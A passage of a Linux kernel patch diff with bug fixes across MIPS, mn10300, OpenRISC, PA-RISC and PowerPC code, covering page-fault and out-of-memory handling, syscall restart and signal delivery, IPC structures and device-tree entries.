(dev->coherent_dma_mask < DMA_BIT_MASK(64)) + if (dev->coherent_dma_mask < DMA_BIT_MASK(sizeof(phys_addr_t) * 8)) dma_flag = __GFP_DMA; else #endif diff --git a/arch/mips/mm/fault.c b/arch/mips/mm/fault.c index 0214a43b9911b..c40a8d1c43baa 100644 --- a/arch/mips/mm/fault.c +++ b/arch/mips/mm/fault.c @@ -157,6 +157,8 @@ asmlinkage void __kprobes do_page_fault(struct pt_regs *regs, unsigned long writ if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); diff --git a/arch/mips/mm/tlbex.c b/arch/mips/mm/tlbex.c index afeef93f81a79..a91a7a99f70f3 100644 --- a/arch/mips/mm/tlbex.c +++ b/arch/mips/mm/tlbex.c @@ -1091,6 +1091,7 @@ static void __cpuinit build_update_entries(u32 **p, unsigned int tmp, struct mips_huge_tlb_info { int huge_pte; int restore_scratch; + bool need_reload_pte; }; static struct mips_huge_tlb_info __cpuinit @@ -1105,6 +1106,7 @@ build_fast_tlb_refill_handler (u32 **p, struct uasm_label **l, rv.huge_pte = scratch; rv.restore_scratch = 0; + rv.need_reload_pte = false; if (check_for_high_segbits) { UASM_i_MFC0(p, tmp, C0_BADVADDR); @@ -1293,6 +1295,7 @@ static void __cpuinit build_r4000_tlb_refill_handler(void) } else { htlb_info.huge_pte = K0; htlb_info.restore_scratch = 0; + htlb_info.need_reload_pte = true; vmalloc_mode = refill_noscratch; /* * create the plain linear handler @@ -1329,6 +1332,8 @@ static void __cpuinit build_r4000_tlb_refill_handler(void) } #ifdef CONFIG_MIPS_HUGE_TLB_SUPPORT uasm_l_tlb_huge_update(&l, p); + if (htlb_info.need_reload_pte) + UASM_i_LW(&p, htlb_info.huge_pte, 0, K1); build_huge_update_entries(&p, htlb_info.huge_pte, K1); build_huge_tlb_write_entry(&p, &l, &r, K0, tlb_random, htlb_info.restore_scratch); diff --git a/arch/mips/oprofile/backtrace.c b/arch/mips/oprofile/backtrace.c index 6854ed5097d2e..83a1dfd8f0e3c 100644 --- a/arch/mips/oprofile/backtrace.c +++ b/arch/mips/oprofile/backtrace.c @@ -92,7 +92,7 @@ static inline int unwind_user_frame(struct stackframe *old_frame, /* This marks the end of the previous function, which means we overran. */ break; - stack_size = (unsigned) stack_adjustment; + stack_size = (unsigned long) stack_adjustment; } else if (is_ra_save_ins(&ip)) { int ra_slot = ip.i_format.simmediate; if (ra_slot < 0) diff --git a/arch/mips/power/cpu.c b/arch/mips/power/cpu.c index 521e5963df05f..2129e67723ff3 100644 --- a/arch/mips/power/cpu.c +++ b/arch/mips/power/cpu.c @@ -7,7 +7,7 @@ * Author: Hu Hongbing * Wu Zhangjin */ -#include +#include #include #include diff --git a/arch/mips/power/hibernate.S b/arch/mips/power/hibernate.S index 32a7c828f073b..e7567c8a9e796 100644 --- a/arch/mips/power/hibernate.S +++ b/arch/mips/power/hibernate.S @@ -30,6 +30,8 @@ LEAF(swsusp_arch_suspend) END(swsusp_arch_suspend) LEAF(swsusp_arch_resume) + /* Avoid TLB mismatch during and after kernel resume */ + jal local_flush_tlb_all PTR_L t0, restore_pblist 0: PTR_L t1, PBE_ADDRESS(t0) /* source */ @@ -43,7 +45,6 @@ LEAF(swsusp_arch_resume) bne t1, t3, 1b PTR_L t0, PBE_NEXT(t0) bnez t0, 0b - jal local_flush_tlb_all /* Avoid TLB mismatch after kernel resume */ PTR_LA t0, saved_regs PTR_L ra, PT_R31(t0) PTR_L sp, PT_R29(t0) diff --git a/arch/mn10300/Kconfig b/arch/mn10300/Kconfig index 548ccf6592090..9a005ca7e036c 100644 --- a/arch/mn10300/Kconfig +++ b/arch/mn10300/Kconfig @@ -1,6 +1,7 @@ config MN10300 def_bool y select HAVE_OPROFILE + select HAVE_UID16 select GENERIC_IRQ_SHOW select ARCH_WANT_IPC_PARSE_VERSION select HAVE_ARCH_TRACEHOOK @@ -36,9 +37,6 @@ config HIGHMEM config NUMA def_bool n -config UID16 - def_bool y - config RWSEM_GENERIC_SPINLOCK def_bool y diff --git a/arch/mn10300/mm/fault.c b/arch/mn10300/mm/fault.c index 40d41c49fbff3..0c2cc5d39c8e3 100644 --- a/arch/mn10300/mm/fault.c +++ b/arch/mn10300/mm/fault.c @@ -262,6 +262,8 @@ asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long fault_code, if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); @@ -347,9 +349,10 @@ asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long fault_code, */ out_of_memory: up_read(&mm->mmap_sem); - printk(KERN_ALERT "VM: killing process %s\n", tsk->comm); - if ((fault_code & MMUFCR_xFC_ACCESS) == MMUFCR_xFC_ACCESS_USR) - do_exit(SIGKILL); + if ((fault_code & MMUFCR_xFC_ACCESS) == MMUFCR_xFC_ACCESS_USR) { + pagefault_out_of_memory(); + return; + } goto no_context; do_sigbus: diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig index b8774eda5fbdb..280b221e3d9ec 100644 --- a/arch/openrisc/Kconfig +++ b/arch/openrisc/Kconfig @@ -16,6 +16,7 @@ config OPENRISC select GENERIC_IRQ_SHOW select GENERIC_IOMAP select GENERIC_CPU_DEVICES + select HAVE_UID16 select GENERIC_ATOMIC64 select GENERIC_CLOCKEVENTS select GENERIC_STRNCPY_FROM_USER @@ -28,9 +29,6 @@ config MMU config HAVE_DMA_ATTRS def_bool y -config UID16 - def_bool y - config RWSEM_GENERIC_SPINLOCK def_bool y diff --git a/arch/openrisc/kernel/entry.S b/arch/openrisc/kernel/entry.S index d8a455ede5a75..fec8bf97d8064 100644 --- a/arch/openrisc/kernel/entry.S +++ b/arch/openrisc/kernel/entry.S @@ -853,37 +853,44 @@ UNHANDLED_EXCEPTION(_vector_0x1f00,0x1f00) /* ========================================================[ return ] === */ +_resume_userspace: + DISABLE_INTERRUPTS(r3,r4) + l.lwz r4,TI_FLAGS(r10) + l.andi r13,r4,_TIF_WORK_MASK + l.sfeqi r13,0 + l.bf _restore_all + l.nop + _work_pending: - /* - * if (current_thread_info->flags & _TIF_NEED_RESCHED) - * schedule(); - */ - l.lwz r5,TI_FLAGS(r10) - l.andi r3,r5,_TIF_NEED_RESCHED - l.sfnei r3,0 - l.bnf _work_notifysig + l.lwz r5,PT_ORIG_GPR11(r1) + l.sfltsi r5,0 + l.bnf 1f l.nop - l.jal schedule + l.andi r5,r5,0 +1: + l.jal do_work_pending + l.ori r3,r1,0 /* pt_regs */ + + l.sfeqi r11,0 + l.bf _restore_all l.nop - l.j _resume_userspace + l.sfltsi r11,0 + l.bnf 1f l.nop - -/* Handle pending signals and notify-resume requests. - * do_notify_resume must be passed the latest pushed pt_regs, not - * necessarily the "userspace" ones. Also, pt_regs->syscallno - * must be set so that the syscall restart functionality works. - */ -_work_notifysig: - l.jal do_notify_resume - l.ori r3,r1,0 /* pt_regs */ - -_resume_userspace: - DISABLE_INTERRUPTS(r3,r4) - l.lwz r3,TI_FLAGS(r10) - l.andi r3,r3,_TIF_WORK_MASK - l.sfnei r3,0 - l.bf _work_pending + l.and r11,r11,r0 + l.ori r11,r11,__NR_restart_syscall + l.j _syscall_check_trace_enter l.nop +1: + l.lwz r11,PT_ORIG_GPR11(r1) + /* Restore arg registers */ + l.lwz r3,PT_GPR3(r1) + l.lwz r4,PT_GPR4(r1) + l.lwz r5,PT_GPR5(r1) + l.lwz r6,PT_GPR6(r1) + l.lwz r7,PT_GPR7(r1) + l.j _syscall_check_trace_enter + l.lwz r8,PT_GPR8(r1) _restore_all: RESTORE_ALL diff --git a/arch/openrisc/kernel/signal.c b/arch/openrisc/kernel/signal.c index ae167f7e081aa..c277ec82783d6 100644 --- a/arch/openrisc/kernel/signal.c +++ b/arch/openrisc/kernel/signal.c @@ -28,24 +28,24 @@ #include #include +#include #include #include #define DEBUG_SIG 0 struct rt_sigframe { - struct siginfo *pinfo; - void *puc; struct siginfo info; struct ucontext uc; unsigned char retcode[16]; /* trampoline code */ }; -static int restore_sigcontext(struct pt_regs *regs, struct sigcontext *sc) +static int restore_sigcontext(struct pt_regs *regs, + struct sigcontext __user *sc) { - unsigned int err = 0; + int err = 0; - /* Alwys make any pending restarted system call return -EINTR */ + /* Always make any pending restarted system calls return -EINTR */ current_thread_info()->restart_block.fn = do_no_restart_syscall; /* @@ -53,25 +53,21 @@ static int restore_sigcontext(struct pt_regs *regs, struct sigcontext *sc) * (sc is already checked for VERIFY_READ since the sigframe was * checked in sys_sigreturn previously) */ - if (__copy_from_user(regs, sc->regs.gpr, 32 * sizeof(unsigned long))) - goto badframe; - if (__copy_from_user(®s->pc, &sc->regs.pc, sizeof(unsigned long))) - goto badframe; - if (__copy_from_user(®s->sr, &sc->regs.sr, sizeof(unsigned long))) - goto badframe; + err |= __copy_from_user(regs, sc->regs.gpr, 32 * sizeof(unsigned long)); + err |= __copy_from_user(®s->pc, &sc->regs.pc, sizeof(unsigned long)); + err |= __copy_from_user(®s->sr, &sc->regs.sr, sizeof(unsigned long)); /* make sure the SM-bit is cleared so user-mode cannot fool us */ regs->sr &= ~SPR_SR_SM; + regs->orig_gpr11 = -1; /* Avoid syscall restart checks */ + /* TODO: the other ports use regs->orig_XX to disable syscall checks * after this completes, but we don't use that mechanism. maybe we can * use it now ? */ return err; - -badframe: - return 1; } asmlinkage long _sys_rt_sigreturn(struct pt_regs *regs) @@ -111,21 +107,18 @@ asmlinkage long _sys_rt_sigreturn(struct pt_regs *regs) * Set up a signal frame. */ -static int setup_sigcontext(struct sigcontext *sc, struct pt_regs *regs, - unsigned long mask) +static int setup_sigcontext(struct pt_regs *regs, struct sigcontext __user *sc) { int err = 0; /* copy the regs */ - + /* There should be no need to save callee-saved registers here... + * ...but we save them anyway. Revisit this + */ err |= __copy_to_user(sc->regs.gpr, regs, 32 * sizeof(unsigned long)); err |= __copy_to_user(&sc->regs.pc, ®s->pc, sizeof(unsigned long)); err |= __copy_to_user(&sc->regs.sr, ®s->sr, sizeof(unsigned long)); - /* then some other stuff */ - - err |= __put_user(mask, &sc->oldmask); - return err; } @@ -181,24 +174,18 @@ static int setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info, int err = 0; frame = get_sigframe(ka, regs, sizeof(*frame)); - if (!access_ok(VERIFY_WRITE, frame, sizeof(*frame))) goto give_sigsegv; - err |= __put_user(&frame->info, &frame->pinfo); - err |= __put_user(&frame->uc, &frame->puc); - + /* Create siginfo. */ if (ka->sa.sa_flags & SA_SIGINFO) err |= copy_siginfo_to_user(&frame->info, info); - if (err) - goto give_sigsegv; - /* Clear all the bits of the ucontext we don't use. */ - err |= __clear_user(&frame->uc, offsetof(struct ucontext, uc_mcontext)); + /* Create the ucontext. */ err |= __put_user(0, &frame->uc.uc_flags); err |= __put_user(NULL, &frame->uc.uc_link); err |= __save_altstack(&frame->uc.uc_stack, regs->sp); - err |= setup_sigcontext(&frame->uc.uc_mcontext, regs, set->sig[0]); + err |= setup_sigcontext(regs, &frame->uc.uc_mcontext); err |= __copy_to_user(&frame->uc.uc_sigmask, set, sizeof(*set)); @@ -207,9 +194,12 @@ static int setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info, /* trampoline - the desired return ip is the retcode itself */ return_ip = (unsigned long)&frame->retcode; - /* This is l.ori r11,r0,__NR_sigreturn, l.sys 1 */ - err |= __put_user(0xa960, (short *)(frame->retcode + 0)); - err |= __put_user(__NR_rt_sigreturn, (short *)(frame->retcode + 2)); + /* This is: + l.ori r11,r0,__NR_sigreturn + l.sys 1 + */ + err |= __put_user(0xa960, (short *)(frame->retcode + 0)); + err |= __put_user(__NR_rt_sigreturn, (short *)(frame->retcode + 2)); err |= __put_user(0x20000001, (unsigned long *)(frame->retcode + 4)); err |= __put_user(0x15000000, (unsigned long *)(frame->retcode + 8)); @@ -262,82 +252,106 @@ handle_signal(unsigned long sig, * mode below. */ -void do_signal(struct pt_regs *regs) +int do_signal(struct pt_regs *regs, int syscall) { siginfo_t info; int signr; struct k_sigaction ka; - - /* - * We want the common case to go fast, which - * is why we may in certain cases get here from - * kernel mode. Just return without doing anything - * if so. - */ - if (!user_mode(regs)) - return; - - signr = get_signal_to_deliver(&info, &ka, regs, NULL); - - /* If we are coming out of a syscall then we need - * to check if the syscall was interrupted and wants to be - * restarted after handling the signal. If so, the original - * syscall number is put back into r11 and the PC rewound to - * point at the l.sys instruction that resulted in the - * original syscall. Syscall results other than the four - * below mean that the syscall executed to completion and no - * restart is necessary. - */ - if (regs->orig_gpr11) { - int restart = 0; - - switch (regs->gpr[11]) { + unsigned long continue_addr = 0; + unsigned long restart_addr = 0; + unsigned long retval = 0; + int restart = 0; + + if (syscall) { + continue_addr = regs->pc; + restart_addr = continue_addr - 4; + retval = regs->gpr[11]; + + /* + * Setup syscall restart here so that a debugger will + * see the already changed PC. + */ + switch (retval) { case -ERESTART_RESTARTBLOCK: + restart = -2; + /* Fall through */ case -ERESTARTNOHAND: - /* Restart if there is no signal handler */ - restart = (signr <= 0); - break; case -ERESTARTSYS: - /* Restart if there no signal handler or - * SA_RESTART flag is set */ - restart = (signr <= 0 || (ka.sa.sa_flags & SA_RESTART)); - break; case -ERESTARTNOINTR: - /* Always restart */ - restart = 1; + restart++; + regs->gpr[11] = regs->orig_gpr11; + regs->pc = restart_addr; break; } + } - if (restart) { - if (regs->gpr[11] == -ERESTART_RESTARTBLOCK) - regs->gpr[11] = __NR_restart_syscall; - else - regs->gpr[11] = regs->orig_gpr11; - regs->pc -= 4; - } else { - regs->gpr[11] = -EINTR; + /* + * Get the signal to deliver. When running under ptrace, at this + * point the debugger may change all our registers ... + */ + signr = get_signal_to_deliver(&info, &ka, regs, NULL); + /* + * Depending on the signal settings we may need to revert the + * decision to restart the system call. But skip this if a + * debugger has chosen to restart at a different PC. + */ + if (signr > 0) { + if (unlikely(restart) && regs->pc == restart_addr) { + if (retval == -ERESTARTNOHAND || + retval == -ERESTART_RESTARTBLOCK + || (retval == -ERESTARTSYS + && !(ka.sa.sa_flags & SA_RESTART))) { + /* No automatic restart */ + regs->gpr[11] = -EINTR; + regs->pc = continue_addr; + } } - } - if (signr <= 0) { - /* no signal to deliver so we just put the saved sigmask - * back */ - restore_saved_sigmask(); - } else { /* signr > 0 */ - /* Whee! Actually deliver the signal. */ handle_signal(signr, &info, &ka, regs); + } else { + /* no handler */ + restore_saved_sigmask(); + /* + * Restore pt_regs PC as syscall restart will be handled by + * kernel without return to userspace + */ + if (unlikely(restart) && regs->pc == restart_addr) { + regs->pc = continue_addr; + return restart; + } } - return; + return 0; } -asmlinkage void do_notify_resume(struct pt_regs *regs) +asmlinkage int +do_work_pending(struct pt_regs *regs, unsigned int thread_flags, int syscall) { - if (current_thread_info()->flags & _TIF_SIGPENDING) - do_signal(regs); - - if (current_thread_info()->flags & _TIF_NOTIFY_RESUME) { - clear_thread_flag(TIF_NOTIFY_RESUME); - tracehook_notify_resume(regs); - } + do { + if (likely(thread_flags & _TIF_NEED_RESCHED)) { + schedule(); + } else { + if (unlikely(!user_mode(regs))) + return 0; + local_irq_enable(); + if (thread_flags & _TIF_SIGPENDING) { + int restart = do_signal(regs, syscall); + if (unlikely(restart)) { + /* + * Restart without handlers. + * Deal with it without leaving + * the kernel space. + */ + return restart; + } + syscall = 0; + } else { + clear_thread_flag(TIF_NOTIFY_RESUME); + tracehook_notify_resume(regs); + } + } + local_irq_disable(); + thread_flags = current_thread_info()->flags; + } while (thread_flags & _TIF_WORK_MASK); + return 0; } diff --git a/arch/openrisc/mm/fault.c b/arch/openrisc/mm/fault.c index eb7b366480cf8..230ac20ae7944 100644 --- a/arch/openrisc/mm/fault.c +++ b/arch/openrisc/mm/fault.c @@ -171,6 +171,8 @@ asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long address, if (unlikely(fault & VM_FAULT_ERROR)) { if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto do_sigbus; BUG(); @@ -268,10 +270,10 @@ asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long address, __asm__ __volatile__("l.nop 1"); up_read(&mm->mmap_sem); - printk("VM: killing process %s\n", tsk->comm); - if (user_mode(regs)) - do_exit(SIGKILL); - goto no_context; + if (!user_mode(regs)) + goto no_context; + pagefault_out_of_memory(); + return; do_sigbus: up_read(&mm->mmap_sem); diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile index 96ec3982be8d3..94607bfa273db 100644 --- a/arch/parisc/Makefile +++ b/arch/parisc/Makefile @@ -46,7 +46,12 @@ cflags-y := -pipe # These flags should be implied by an hppa-linux configuration, but they # are not in gcc 3.2. -cflags-y += -mno-space-regs -mfast-indirect-calls +cflags-y += -mno-space-regs + +# -mfast-indirect-calls is only relevant for 32-bit kernels. +ifndef CONFIG_64BIT +cflags-y += -mfast-indirect-calls +endif # Currently we save and restore fpregs on all kernel entry/interruption paths. # If that gets optimized, we might need to disable the use of fpregs in the diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h index 294d251ca7b2e..2ae13ce592e8f 100644 --- a/arch/parisc/include/uapi/asm/mman.h +++ b/arch/parisc/include/uapi/asm/mman.h @@ -46,16 +46,6 @@ #define MADV_DONTFORK 10 /* don't inherit across fork */ #define MADV_DOFORK 11 /* do inherit across fork */ -/* The range 12-64 is reserved for page size specification. */ -#define MADV_4K_PAGES 12 /* Use 4K pages */ -#define MADV_16K_PAGES 14 /* Use 16K pages */ -#define MADV_64K_PAGES 16 /* Use 64K pages */ -#define MADV_256K_PAGES 18 /* Use 256K pages */ -#define MADV_1M_PAGES 20 /* Use 1 Megabyte pages */ -#define MADV_4M_PAGES 22 /* Use 4 Megabyte pages */ -#define MADV_16M_PAGES 24 /* Use 16 Megabyte pages */ -#define MADV_64M_PAGES 26 /* Use 64 Megabyte pages */ - #define MADV_MERGEABLE 65 /* KSM may merge identical pages */ #define MADV_UNMERGEABLE 66 /* KSM may not merge identical pages */ diff --git a/arch/parisc/include/uapi/asm/shmbuf.h b/arch/parisc/include/uapi/asm/shmbuf.h index 0a3eada1863b7..f395cde7b5931 100644 --- a/arch/parisc/include/uapi/asm/shmbuf.h +++ b/arch/parisc/include/uapi/asm/shmbuf.h @@ -36,23 +36,16 @@ struct shmid64_ds { unsigned int __unused2; }; -#ifdef CONFIG_64BIT -/* The 'unsigned int' (formerly 'unsigned long') data types below will - * ensure that a 32-bit app calling shmctl(*,IPC_INFO,*) will work on - * a wide kernel, but if some of these values are meant to contain pointers - * they may need to be 'long long' instead. -PB XXX FIXME - */ -#endif struct shminfo64 { - unsigned int shmmax; - unsigned int shmmin; - unsigned int shmmni; - unsigned int shmseg; - unsigned int shmall; - unsigned int __unused1; - unsigned int __unused2; - unsigned int __unused3; - unsigned int __unused4; + unsigned long shmmax; + unsigned long shmmin; + unsigned long shmmni; + unsigned long shmseg; + unsigned long shmall; + unsigned long __unused1; + unsigned long __unused2; + unsigned long __unused3; + unsigned long __unused4; }; #endif /* _PARISC_SHMBUF_H */ diff --git a/arch/parisc/include/uapi/asm/siginfo.h b/arch/parisc/include/uapi/asm/siginfo.h index d7034728f3778..1c75565d984b4 100644 --- a/arch/parisc/include/uapi/asm/siginfo.h +++ b/arch/parisc/include/uapi/asm/siginfo.h @@ -1,6 +1,10 @@ #ifndef _PARISC_SIGINFO_H #define _PARISC_SIGINFO_H +#if defined(__LP64__) +#define __ARCH_SI_PREAMBLE_SIZE (4 * sizeof(int)) +#endif + #include #undef NSIGTRAP diff --git a/arch/parisc/include/uapi/asm/signal.h b/arch/parisc/include/uapi/asm/signal.h index a2fa297196bc1..f5645d6a89f2c 100644 --- a/arch/parisc/include/uapi/asm/signal.h +++ b/arch/parisc/include/uapi/asm/signal.h @@ -69,8 +69,6 @@ #define SA_NOMASK SA_NODEFER #define SA_ONESHOT SA_RESETHAND -#define SA_RESTORER 0x04000000 /* obsolete -- ignored */ - #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c index 2e6443b1e9228..c32a37e0e0d2d 100644 --- a/arch/parisc/kernel/irq.c +++ b/arch/parisc/kernel/irq.c @@ -524,8 +524,8 @@ void do_cpu_irq_mask(struct pt_regs *regs) struct pt_regs *old_regs; unsigned long eirr_val; int irq, cpu = smp_processor_id(); -#ifdef CONFIG_SMP struct irq_desc *desc; +#ifdef CONFIG_SMP cpumask_t dest; #endif @@ -538,8 +538,12 @@ void do_cpu_irq_mask(struct pt_regs *regs) goto set_out; irq = eirr_to_irq(eirr_val); -#ifdef CONFIG_SMP + /* Filter out spurious interrupts, mostly from serial port at bootup */ desc = irq_to_desc(irq); + if (unlikely(!desc->action)) + goto set_out; + +#ifdef CONFIG_SMP cpumask_copy(&dest, desc->irq_data.affinity); if (irqd_is_per_cpu(&desc->irq_data) && !cpu_isset(smp_processor_id(), dest)) { diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c index 568b2c61ea020..3cad8aadc69e7 100644 --- a/arch/parisc/kernel/parisc_ksyms.c +++ b/arch/parisc/kernel/parisc_ksyms.c @@ -47,11 +47,11 @@ EXPORT_SYMBOL(__cmpxchg_u64); EXPORT_SYMBOL(lclear_user); EXPORT_SYMBOL(lstrnlen_user); -/* Global fixups */ -extern void fixup_get_user_skip_1(void); -extern void fixup_get_user_skip_2(void); -extern void fixup_put_user_skip_1(void); -extern void fixup_put_user_skip_2(void); +/* Global fixups - defined as int to avoid creation of function pointers */ +extern int fixup_get_user_skip_1; +extern int fixup_get_user_skip_2; +extern int fixup_put_user_skip_1; +extern int fixup_put_user_skip_2; EXPORT_SYMBOL(fixup_get_user_skip_1); EXPORT_SYMBOL(fixup_get_user_skip_2); EXPORT_SYMBOL(fixup_put_user_skip_1); diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c index 940188d1942ca..ae9aa83854c01 100644 --- a/arch/parisc/kernel/signal.c +++ b/arch/parisc/kernel/signal.c @@ -449,6 +449,55 @@ handle_signal(unsigned long sig, siginfo_t *info, struct k_sigaction *ka, regs->gr[28]); } +/* + * Check how the syscall number gets loaded into %r20 within + * the delay branch in userspace and adjust as needed. + */ + +static void check_syscallno_in_delay_branch(struct pt_regs *regs) +{ + u32 opcode, source_reg; + u32 __user *uaddr; + int err; + + /* Usually we don't have to restore %r20 (the system call number) + * because it gets loaded in the delay slot of the branch external + * instruction via the ldi instruction. + * In some cases a register-to-register copy instruction might have + * been used instead, in which case we need to copy the syscall + * number into the source register before returning to userspace. + */ + + /* A syscall is just a branch, so all we have to do is fiddle the + * return pointer so that the ble instruction gets executed again. + */ + regs->gr[31] -= 8; /* delayed branching */ + + /* Get assembler opcode of code in delay branch */ + uaddr = (unsigned int *) ((regs->gr[31] & ~3) + 4); + err = get_user(opcode, uaddr); + if (err) + return; + + /* Check if delay branch uses "ldi int,%r20" */ + if ((opcode & 0xffff0000) == 0x34140000) + return; /* everything ok, just return */ + + /* Check if delay branch uses "nop" */ + if (opcode == INSN_NOP) + return; + + /* Check if delay branch uses "copy %rX,%r20" */ + if ((opcode & 0xffe0ffff) == 0x08000254) { + source_reg = (opcode >> 16) & 31; + regs->gr[source_reg] = regs->gr[20]; + return; + } + + pr_warn("syscall restart: %s (pid %d): unexpected opcode 0x%08x\n", + current->comm, task_pid_nr(current), opcode); +} + static inline void syscall_restart(struct pt_regs *regs, struct k_sigaction *ka) { @@ -471,10 +520,7 @@ syscall_restart(struct pt_regs *regs, struct k_sigaction *ka) } /* fallthrough */ case -ERESTARTNOINTR: - /* A syscall is just a branch, so all - * we have to do is fiddle the return pointer. - */ - regs->gr[31] -= 8; /* delayed branching */ + check_syscallno_in_delay_branch(regs); break; } } @@ -523,15 +569,9 @@ insert_restart_trampoline(struct pt_regs *regs) } case -ERESTARTNOHAND: case -ERESTARTSYS: - case -ERESTARTNOINTR: { - /* Hooray for delayed branching. We don't - * have to restore %r20 (the system call - * number) because it gets loaded in the delay - * slot of the branch external instruction. - */ - regs->gr[31] -= 8; + case -ERESTARTNOINTR: + check_syscallno_in_delay_branch(regs); return; - } default: break; } diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S index 10a0c2aad8cfd..b24732d1bdbf7 100644 --- a/arch/parisc/kernel/syscall_table.S +++ b/arch/parisc/kernel/syscall_table.S @@ -286,11 +286,11 @@ ENTRY_COMP(msgsnd) ENTRY_COMP(msgrcv) ENTRY_SAME(msgget) /* 190 */ - ENTRY_SAME(msgctl) - ENTRY_SAME(shmat) + ENTRY_COMP(msgctl) + ENTRY_COMP(shmat) ENTRY_SAME(shmdt) ENTRY_SAME(shmget) - ENTRY_SAME(shmctl) /* 195 */ + ENTRY_COMP(shmctl) /* 195 */ ENTRY_SAME(ni_syscall) /* streams1 */ ENTRY_SAME(ni_syscall) /* streams2 */ ENTRY_SAME(lstat64) @@ -323,7 +323,7 @@ ENTRY_SAME(epoll_ctl) /* 225 */ ENTRY_SAME(epoll_wait) ENTRY_SAME(remap_file_pages) - ENTRY_SAME(semtimedop) + ENTRY_COMP(semtimedop) ENTRY_COMP(mq_open) ENTRY_SAME(mq_unlink) /* 230 */ ENTRY_COMP(mq_timedsend) diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c index b3f87a3b4bcee..0c329b2c5df40 100644 --- a/arch/parisc/kernel/traps.c +++ b/arch/parisc/kernel/traps.c @@ -811,6 +811,9 @@ void notrace handle_interruption(int code, struct pt_regs *regs) if (fault_space == 0 && !in_atomic()) { + /* Clean up and return if in exception table. */ + if (fixup_exception(regs)) + return; pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC); parisc_terminate("Kernel Fault", regs, code, fault_address); } diff --git a/arch/parisc/kernel/unaligned.c b/arch/parisc/kernel/unaligned.c index d7c0acb35ec24..8d49614d600d8 100644 --- a/arch/parisc/kernel/unaligned.c +++ b/arch/parisc/kernel/unaligned.c @@ -666,7 +666,7 @@ void handle_unaligned(struct pt_regs *regs) break; } - if (modify && R1(regs->iir)) + if (ret == 0 && modify && R1(regs->iir)) regs->gr[R1(regs->iir)] = newbase; @@ -677,6 +677,14 @@ void handle_unaligned(struct pt_regs *regs) if (ret) { + /* + * The unaligned handler failed. + * If we were called by __get_user() or __put_user() jump + * to it's exception fixup handler instead of crashing. + */ + if (!user_mode(regs) && fixup_exception(regs)) + return; + printk(KERN_CRIT "Unaligned handler failed, ret = %d\n", ret); die_if_kernel("Unaligned data reference", regs, 28); diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c index d10d27a720c0d..c45130f56a93e 100644 --- a/arch/parisc/mm/fault.c +++ b/arch/parisc/mm/fault.c @@ -220,6 +220,8 @@ void do_page_fault(struct pt_regs *regs, unsigned long code, */ if (fault & VM_FAULT_OOM) goto out_of_memory; + else if (fault & VM_FAULT_SIGSEGV) + goto bad_area; else if (fault & VM_FAULT_SIGBUS) goto bad_area; BUG(); diff --git a/arch/powerpc/boot/dts/fsl/pq3-etsec2-0.dtsi b/arch/powerpc/boot/dts/fsl/pq3-etsec2-0.dtsi index 1382fec9e8c5f..7fcb1ac0f2325 100644 --- a/arch/powerpc/boot/dts/fsl/pq3-etsec2-0.dtsi +++ b/arch/powerpc/boot/dts/fsl/pq3-etsec2-0.dtsi @@ -50,6 +50,7 @@ ethernet@b0000 { fsl,num_tx_queues = <0x8>; fsl,magic-packet; local-mac-address = [ 00 00 00 00 00 00 ]; + ranges; queue-group@b0000 { #address-cells = <1>; diff --git a/arch/powerpc/boot/dts/fsl/pq3-etsec2-1.dtsi b/arch/powerpc/boot/dts/fsl/pq3-etsec2-1.dtsi index 221cd2ea5b312..9f25427c15278 100644 --- a/arch/powerpc/boot/dts/fsl/pq3-etsec2-1.dtsi +++ b/arch/powerpc/boot/dts/fsl/pq3-etsec2-1.dtsi @@ -50,6 +50,7 @@ ethernet@b1000 { fsl,num_tx_queues = <0x8>; fsl,magic-packet; local-mac-address = [ 00 00 00 00 00 00 ]; + ranges; queue-group@b1000 { #address-cells = <1>; diff --git a/arch/powerpc/boot/dts/fsl/pq3-etsec2-2.dtsi b/arch/powerpc/boot/dts/fsl/pq3-etsec2-2.dtsi index 61456c317609c..cd7c318ab131a 100644 --- a/arch/powerpc/boot/dts/fsl/pq3-etsec2-2.dtsi +++ b/arch/powerpc/boot/dts/fsl/pq3-etsec2-2.dtsi @@ -49,6 +49,7 @@ ethernet@b2000 { fsl,num_tx_queues = <0x8>; fsl,magic-packet; local-mac-address = [ 00 00 00 00 00 00 ]; + ranges; queue-group@b2000 { #address-cells = <1>; diff --git a/arch/powerpc/crypto/sha1.c b/arch/powerpc/crypto/sha1.c index f9e8b9491efc2..b51da91327440 100644 --- a/arch/powerpc/crypto/sha1.c +++ b/arch/powerpc/crypto/sha1.c @@ -154,4 +154,5 @@ module_exit(sha1_powerpc_mod_fini); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("SHA1 Secure Hash Algorithm"); -MODULE_ALIAS("sha1-powerpc"); +MODULE_ALIAS_CRYPTO("sha1"); +MODULE_ALIAS_CRYPTO("sha1-powerpc"); diff --git a/arch/powerpc/include/asm/cmpxchg.h b/arch/powerpc/include/asm/cmpxchg.h index e245aab7f191c..95b515113186d 100644 --- 